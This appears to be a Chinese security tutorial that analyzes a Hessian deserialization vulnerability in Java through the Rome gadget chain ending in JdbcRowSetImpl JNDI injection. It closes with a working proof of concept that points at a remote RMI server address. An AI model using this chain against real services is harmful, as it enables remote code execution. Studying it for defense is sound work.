# 简介

Hessian 是一个轻量级的 Java 反序列化框架,和 Java 原生的序列化类似,相比起来 Hessian 更加高效并且非常适合二进制数据传输。

可以在 pom.xml 中加入依赖来使用 Hessian:

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.63</version>
</dependency>

一个简单的 demo

Student.java

import java.io.Serializable;
public class Student implements Serializable {
    private String name;
    public static String hobby = "eat";
    transient private String address;
    public void setName(String name) {
        this.name = name;
    }
    public static void setHobby(String hobby) {
        Student.hobby = hobby;
    }
    public void setAddress(String address) {
        this.address = address;
    }
    public String getName() {
        return name;
    }
    public static String getHobby() {
        return hobby;
    }
    public String getAddress() {
        return address;
    }
}

demo.java

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
public class demo {
    public static void main(String[] args) throws  Exception{
        Student stu = new Student();
        stu.setAddress("A");
        stu.setName("miku");
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(stu);
        output.close();
        Student.hobby = "drink";
        ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
        Hessian2Input input = new Hessian2Input(bis);
        Student student = (Student) input.readObject();
        System.out.println(student.getAddress());
        System.out.println(student.getName());
        System.out.println(stu.getHobby());
    }
}

image-20220412142630004

从结果可以得出以下结论:

  • 静态属性不能被序列化
  • transient 关键字修饰的属性不能被序列化

# 反序列化漏洞

Hessian 不会调用序列化类的 readObject 方法,它会调用 readResolve 方法, 而这个方法一般是用在单例模式中的。

Hessian 在恢复对象的属性的时候,不会调用该类的 setter,恢复方式是调用 _unsafe.putObject。

Hessian 会将数据序列化为一个 Map,序列化之后的数据大致如下(URL 编码后):

Mt%00%0Astudy.DataS%00%04dataS%00%06Twingsz

Hessian 反序列化同样存在漏洞,不过入口点与 Java 原生序列化的 readObject 方法不同,它的入口点在对 Map 类型反序列化处理时:

public Object readMap(AbstractHessianInput in) throws IOException {
    Map map;
    if (_type == null)
        map = new HashMap();
    else if (_type.equals(Map.class))
        map = new HashMap();
    else if (_type.equals(SortedMap.class))
        map = new TreeMap();
    else {
        try {
            map = (Map) _ctor.newInstance();
        } catch (Exception e) {
            throw new IOExceptionWrapper(e);
        }
    }
    in.addRef(map);
    while (! in.isEnd()) {
        map.put(in.readObject(), in.readObject());
    }
    in.readEnd();
    return map;
}

这里会调用 HashMap 的 put 方法,换而言之就是会调用 key 的 hashcode 方法,所以只要找到一条以 hashcode 开始的利用链,就可以完成一次 Hessian 反序列化攻击。

marshalsec 工具中已经集成了 Hessian 的 5 个 Gadgets,可以使用这个工具直接进行漏洞利用。

不过这个工具的生成流程着实比较复杂,看起来要麻烦一些。

# Gadgets - Rome

# 依赖

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-nop</artifactId>
    <version>1.7.24</version>
</dependency>

# 利用链

HashMap.put -> hash
EqualsBean.hashCode -> beanHashCode
ToStringBean.toString -> getter.invoke
JdbcRowSetImpl.getDatabaseMetaData -> connect
JNDI 注入

# JdbcRowSetImpl.connect

因为这里 transient 关键字修饰的属性不能被序列化,所以不能利用 TemplatesImpl 加载恶意代码

image-20220412150444600

这里会因为 _tfactory 为空而报错

所以我们利用 JdbcRowSetImpl ,看到它的 connect 方法,这里调用了 lookup 函数,可以用来 jndi 注入

image-20220412150546020

看一下 getDataSourceName

image-20220412151032007

那么让 dataSource 为 rmi 或者 ldap 都行

找一下哪里调用了 connect

# JdbcRowSetImpl.getDatabaseMetaData

image-20220412150749666

这个方法恰好是 getter 方法

那么前面部分和 rome 反序列化一样,后面调用 JdbcRowSetImpl.getDatabaseMetaData 即可

我们看一下 JdbcRowSetImpl 的构造函数

image-20220412151441494

没用,但是找到另一个方法

image-20220412151618211

测试 demo

远程启动 rmi 服务

image-20220412145816875

demo.java

import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;
public class demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static void main(String[] args) throws  Exception{
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://120.79.0.164:1099/dp2ubq");
        jdbcRowSet.getDatabaseMetaData();
    }
}

image-20220412152100442

# 漏洞分析

readObject 进入

image-20220330094938191

image-20220330095038060

进入 readMap

image-20220330095107402

进入 readMap

image-20220330095204756

跟进 ((Map)map).put(in.readObject(), in.readObject()) 中 put 函数

image-20220330095305110

这里获取到的key和value的值都为`EqualsBean`实例化对象。

该位置去调用hash方法去计算hashcode的值

image-20220330095343404

可以看到这里的 keyEuqalsBean , 将进入 EuqalsBeanhashCode 方法

image-20220330095458164

跟进

image-20220330095519509

继续

image-20220330095608480

image-20220330095623201

调用 this.toString

image-20220330095700297

反射调用 this.obj 的 getDatabaseMetaData 方法

image-20220330103613047

看一下这个方法

image-20220330103805408

image-20220330103831821

这里触发了 lookup,后面的就不说了

# POC

远程启动 rmi 服务

image-20220412145816875

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static void main(String[] args) throws  Exception{
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://120.79.0.164:1099/dp2ubq");
        //jdbcRowSet.getDatabaseMetaData();
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, new JdbcRowSetImpl());
        //toStringBean.toString();
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        //equalsBean.hashCode();
        HashMap<Object, Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");
        setValue(toStringBean, "obj", jdbcRowSet);
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(map);
        output.close();
        ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
        Hessian2Input input = new Hessian2Input(bis);
        input.readObject();
    }
}

image-20220412150005735